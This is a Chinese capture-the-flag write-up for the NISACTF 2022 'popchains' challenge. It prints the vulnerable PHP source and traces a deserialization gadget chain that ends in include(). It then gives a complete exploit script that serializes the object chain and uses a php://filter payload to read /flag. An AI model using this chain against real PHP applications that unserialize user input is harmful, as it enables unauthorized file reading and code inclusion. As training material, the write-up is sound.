NSS [NISACTF 2022]popchains

简介: NSS [NISACTF 2022]popchains

NSS [NISACTF 2022]popchains

先看看题目,源码如下。

<?php
echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);        //@为了不报错
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

服务器反序列化Road_is_Long—>Road_is_Long::wakeup()—>Road_is_Long::toString()–>Make_a_Change::get()—>Try_Work_Hard::invoke()—>Try_Work_Hard::append()

exp:
<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var="php://filter/read=convert.base64-encode/resource=/flag";  //protected不能从外面赋值
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}



$road1 = new Road_is_Long();   
$road2 = new Road_is_Long();   
$try = new Try_Work_Hard();
$make = new Make_a_Change();
 
$road1->page = $road2;
$road2->string=$make;
$make->effort=$try;


$jay17 = serialize($road1);
echo urlencode($jay17);

目录
相关文章
|
Linux C语言
LINUX error: Building GCC requires GMP 4.2+, MPFR 3.1.0+ and MPC 0.8.0+.
LINUX error: Building GCC requires GMP 4.2+, MPFR 3.1.0+ and MPC 0.8.0+.
1043 0
LINUX error: Building GCC requires GMP 4.2+, MPFR 3.1.0+ and MPC 0.8.0+.
|
5月前
|
算法 安全 网络安全
什么是GMP?
该文章介绍了GMP(GNU Multiple Precision Arithmetic Library),这是一个用于任意精度整数、有理数和浮点数运算的开源库,特别适用于密码学、网络安全和计算代数等领域,以其高性能和优化的算法而著称。
105 2
|
5月前
NSS [MoeCTF 2022]ezhtml
NSS [MoeCTF 2022]ezhtml
41 0
|
5月前
NSS [MoeCTF 2022]ezphp
NSS [MoeCTF 2022]ezphp
45 0
|
5月前
NSS [NISACTF 2022]babyupload
NSS [NISACTF 2022]babyupload
48 0
|
5月前
|
网络协议 Unix Linux
Linux NSS简解
Linux NSS简解
|
5月前
|
PHP
NSS [NISACTF 2022]level-up
NSS [NISACTF 2022]level-up
68 0
|
5月前
|
开发工具 数据安全/隐私保护 git
NSS [第五空间 2021]WebFTP
NSS [第五空间 2021]WebFTP
64 0
|
5月前
|
Docker 容器
NSS [第五空间 2021]pklovecloud
NSS [第五空间 2021]pklovecloud
56 0
|
5月前
NSS [HNCTF 2022 WEEK2]ez_ssrf
NSS [HNCTF 2022 WEEK2]ez_ssrf
49 0